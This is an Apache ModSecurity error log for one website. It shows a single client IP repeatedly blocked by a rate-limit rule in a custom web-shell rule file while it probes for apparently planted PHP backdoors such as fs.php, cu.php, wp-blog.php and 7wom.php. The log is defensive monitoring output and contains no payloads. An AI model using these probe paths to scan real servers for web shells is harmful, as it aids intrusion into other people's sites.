[Fri Feb 13 18:56:52.360246 2026] [:error] [pid 47080:tid 47111] [client 51.103.136.17:43522] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aY8DdEbWJwYCVF39z6sycQAAAdc"]
[Fri Feb 13 18:56:52.852878 2026] [:error] [pid 47080:tid 47088] [client 51.103.136.17:23716] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aY8DdEbWJwYCVF39z6sydAAAAcA"]
[Fri Feb 13 18:56:53.349837 2026] [:error] [pid 47575:tid 47597] [client 51.103.136.17:45989] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aY8DdQIPBuXb07mA_mS7hQAAAtA"]
[Fri Feb 13 18:56:53.842791 2026] [:error] [pid 46821:tid 46834] [client 51.103.136.17:50946] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aY8DdY6G1N5YSq0J0gcHlgAAAUs"]
[Fri Feb 13 18:56:54.317484 2026] [:error] [pid 49223:tid 49254] [client 51.103.136.17:45977] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lts.php"] [unique_id "aY8Ddh8A_fZBamNLnfVLxgAAABY"]
[Fri Feb 13 18:56:54.794203 2026] [:error] [pid 18097:tid 18113] [client 51.103.136.17:43573] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lts.php"] [unique_id "aY8DdnFzYiQ_BfaDDlYhaQAAAY4"]
[Fri Feb 13 18:56:55.275618 2026] [:error] [pid 49223:tid 49242] [client 51.103.136.17:53484] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lts.php"] [unique_id "aY8Ddx8A_fZBamNLnfVLyQAAAAo"]
[Fri Feb 13 18:56:55.793417 2026] [:error] [pid 47080:tid 47106] [client 51.103.136.17:20651] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lts.php"] [unique_id "aY8Dd0bWJwYCVF39z6syeAAAAdI"]
[Fri Feb 13 18:56:56.268508 2026] [:error] [pid 47080:tid 47091] [client 51.103.136.17:5730] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aY8DeEbWJwYCVF39z6syegAAAcM"]
[Fri Feb 13 18:56:56.762421 2026] [:error] [pid 18097:tid 18118] [client 51.103.136.17:5700] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aY8DeHFzYiQ_BfaDDlYhbAAAAZM"]
[Fri Feb 13 18:56:57.233197 2026] [:error] [pid 47080:tid 47111] [client 51.103.136.17:46010] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aY8DeUbWJwYCVF39z6syfgAAAdc"]
[Fri Feb 13 18:56:57.705786 2026] [:error] [pid 51243:tid 51266] [client 51.103.136.17:23713] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aY8Decim7ZTAHzi7xZvBnwAAARU"]
[Fri Feb 13 18:56:58.177841 2026] [:error] [pid 18097:tid 18109] [client 51.103.136.17:50983] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/login8.php"] [unique_id "aY8DenFzYiQ_BfaDDlYhbgAAAYo"]
[Fri Feb 13 18:56:58.649517 2026] [:error] [pid 18097:tid 18102] [client 51.103.136.17:44524] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/login8.php"] [unique_id "aY8DenFzYiQ_BfaDDlYhbwAAAYM"]
[Fri Feb 13 18:56:59.119853 2026] [:error] [pid 47575:tid 47603] [client 51.103.136.17:25542] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/login8.php"] [unique_id "aY8DewIPBuXb07mA_mS7jQAAAtY"]
[Fri Feb 13 18:56:59.592170 2026] [:error] [pid 49335:tid 49355] [client 51.103.136.17:55949] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/login8.php"] [unique_id "aY8De6p--SFY2nwOiqlevQAAANI"]
[Fri Feb 13 18:57:00.064041 2026] [:error] [pid 47358:tid 47390] [client 51.103.136.17:38610] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nnyvn.php"] [unique_id "aY8DfMQFBuVVUQTESUwHOAAAApg"]
[Fri Feb 13 18:57:00.538942 2026] [:error] [pid 47080:tid 47111] [client 51.103.136.17:21815] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nnyvn.php"] [unique_id "aY8DfEbWJwYCVF39z6sygwAAAdc"]
[Fri Feb 13 18:57:01.011263 2026] [:error] [pid 46821:tid 46829] [client 51.103.136.17:56343] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nnyvn.php"] [unique_id "aY8DfY6G1N5YSq0J0gcHpAAAAUY"]
[Fri Feb 13 18:57:01.503075 2026] [:error] [pid 49335:tid 49342] [client 51.103.136.17:51002] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nnyvn.php"] [unique_id "aY8Dfap--SFY2nwOiqlewQAAAMU"]
[Fri Feb 13 18:57:01.976478 2026] [:error] [pid 47143:tid 47219] [client 51.103.136.17:23078] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aY8DfchV30NbMarHJLs5LQAAAkU"]
[Fri Feb 13 18:57:02.453842 2026] [:error] [pid 47143:tid 47231] [client 51.103.136.17:22526] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aY8DfshV30NbMarHJLs5LgAAAlE"]
[Fri Feb 13 18:57:02.955635 2026] [:error] [pid 49225:tid 49300] [client 51.103.136.17:23737] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aY8DfjwH8-zGxtAd3jv9KwAAAIY"]
[Fri Feb 13 18:57:03.445066 2026] [:error] [pid 47080:tid 47106] [client 51.103.136.17:55994] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aY8Df0bWJwYCVF39z6syhQAAAdI"]
[Fri Feb 13 18:57:03.935333 2026] [:error] [pid 47080:tid 47095] [client 51.103.136.17:45958] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lul.php"] [unique_id "aY8Df0bWJwYCVF39z6syhwAAAcc"]
[Fri Feb 13 18:57:04.420558 2026] [:error] [pid 47080:tid 47107] [client 51.103.136.17:25540] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lul.php"] [unique_id "aY8DgEbWJwYCVF39z6syigAAAdM"]
[Fri Feb 13 18:57:04.932955 2026] [:error] [pid 18097:tid 18113] [client 51.103.136.17:55959] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lul.php"] [unique_id "aY8DgHFzYiQ_BfaDDlYheAAAAY4"]
[Fri Feb 13 18:57:05.419423 2026] [:error] [pid 47358:tid 47387] [client 51.103.136.17:22477] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lul.php"] [unique_id "aY8DgcQFBuVVUQTESUwHOwAAApU"]
[Fri Feb 13 18:57:05.926489 2026] [:error] [pid 47143:tid 47224] [client 51.103.136.17:23081] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aY8DgchV30NbMarHJLs5MQAAAko"]
[Fri Feb 13 18:57:06.399963 2026] [:error] [pid 18097:tid 18118] [client 51.103.136.17:51017] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aY8DgnFzYiQ_BfaDDlYhewAAAZM"]
[Fri Feb 13 18:57:06.874881 2026] [:error] [pid 49223:tid 49243] [client 51.103.136.17:39313] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aY8Dgh8A_fZBamNLnfVL6AAAAAs"]
[Fri Feb 13 18:57:07.373957 2026] [:error] [pid 47080:tid 47102] [client 51.103.136.17:25582] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aY8Dg0bWJwYCVF39z6sykAAAAc4"]
[Fri Feb 13 18:57:07.974930 2026] [:error] [pid 51243:tid 51251] [client 51.103.136.17:39329] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aY8Dg8im7ZTAHzi7xZvBqgAAAQY"]
[Fri Feb 13 18:57:08.510837 2026] [:error] [pid 47080:tid 47088] [client 51.103.136.17:39337] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aY8DhEbWJwYCVF39z6sykwAAAcA"]
[Fri Feb 13 18:57:09.026233 2026] [:error] [pid 18097:tid 18106] [client 51.103.136.17:20704] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aY8DhXFzYiQ_BfaDDlYhfAAAAYc"]
[Fri Feb 13 18:57:09.585135 2026] [:error] [pid 47080:tid 47101] [client 51.103.136.17:51005] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aY8DhUbWJwYCVF39z6sylQAAAc0"]
[Fri Feb 13 18:57:10.057910 2026] [:error] [pid 47358:tid 47379] [client 51.103.136.17:53441] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ya.php"] [unique_id "aY8DhsQFBuVVUQTESUwHQAAAAo0"]
[Fri Feb 13 18:57:10.572503 2026] [:error] [pid 47080:tid 47098] [client 51.103.136.17:23708] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ya.php"] [unique_id "aY8DhkbWJwYCVF39z6symAAAAco"]
[Fri Feb 13 18:57:11.065104 2026] [:error] [pid 47080:tid 47109] [client 51.103.136.17:43613] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ya.php"] [unique_id "aY8Dh0bWJwYCVF39z6symgAAAdU"]
[Fri Feb 13 18:57:11.586969 2026] [:error] [pid 47080:tid 47105] [client 51.103.136.17:48658] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ya.php"] [unique_id "aY8Dh0bWJwYCVF39z6synAAAAdE"]
[Fri Feb 13 18:57:12.057313 2026] [:error] [pid 18097:tid 18100] [client 51.103.136.17:50950] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aY8DiHFzYiQ_BfaDDlYhfQAAAYE"]
[Fri Feb 13 18:57:12.556901 2026] [:error] [pid 51243:tid 51254] [client 51.103.136.17:61199] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aY8DiMim7ZTAHzi7xZvBrgAAAQk"]
[Fri Feb 13 18:57:13.038486 2026] [:error] [pid 46821:tid 46829] [client 51.103.136.17:23043] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aY8DiY6G1N5YSq0J0gcHrAAAAUY"]
[Fri Feb 13 18:57:13.527349 2026] [:error] [pid 49225:tid 49313] [client 51.103.136.17:5395] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aY8DiTwH8-zGxtAd3jv9OAAAAJM"]
[Fri Feb 13 18:57:14.030821 2026] [:error] [pid 51243:tid 51266] [client 51.103.136.17:56322] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aY8Disim7ZTAHzi7xZvBrwAAARU"]
[Fri Feb 13 18:57:14.559408 2026] [:error] [pid 51243:tid 51260] [client 51.103.136.17:51051] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aY8Disim7ZTAHzi7xZvBsAAAAQ8"]
[Fri Feb 13 18:57:15.049986 2026] [:error] [pid 47358:tid 47383] [client 51.103.136.17:50957] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aY8Di8QFBuVVUQTESUwHQwAAApE"]
[Fri Feb 13 18:57:15.635353 2026] [:error] [pid 49223:tid 49237] [client 51.103.136.17:44519] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aY8Dix8A_fZBamNLnfVL_QAAAAU"]
[Fri Feb 13 18:57:16.118151 2026] [:error] [pid 49223:tid 49244] [client 51.103.136.17:43576] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftem.php"] [unique_id "aY8DjB8A_fZBamNLnfVL_wAAAAw"]
[Fri Feb 13 18:57:16.672471 2026] [:error] [pid 46821:tid 46836] [client 51.103.136.17:38627] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftem.php"] [unique_id "aY8DjI6G1N5YSq0J0gcHsAAAAU0"]
[Fri Feb 13 18:57:17.191722 2026] [:error] [pid 49335:tid 49359] [client 51.103.136.17:20692] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftem.php"] [unique_id "aY8Djap--SFY2nwOiqlezQAAANY"]
[Fri Feb 13 18:57:17.741525 2026] [:error] [pid 47575:tid 47597] [client 51.103.136.17:21875] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftem.php"] [unique_id "aY8DjQIPBuXb07mA_mS7mAAAAtA"]
[Fri Feb 13 18:57:18.254499 2026] [:error] [pid 18097:tid 18117] [client 51.103.136.17:53454] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7wom.php"] [unique_id "aY8DjnFzYiQ_BfaDDlYhgAAAAZI"]
[Fri Feb 13 18:57:18.762076 2026] [:error] [pid 49335:tid 49360] [client 51.103.136.17:51031] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7wom.php"] [unique_id "aY8Djqp--SFY2nwOiqlezwAAANc"]
[Fri Feb 13 18:57:19.250141 2026] [:error] [pid 47575:tid 47585] [client 51.103.136.17:39308] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7wom.php"] [unique_id "aY8DjwIPBuXb07mA_mS7mQAAAsU"]
[Fri Feb 13 18:57:19.756219 2026] [:error] [pid 47575:tid 47602] [client 51.103.136.17:56368] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7wom.php"] [unique_id "aY8DjwIPBuXb07mA_mS7mgAAAtU"]
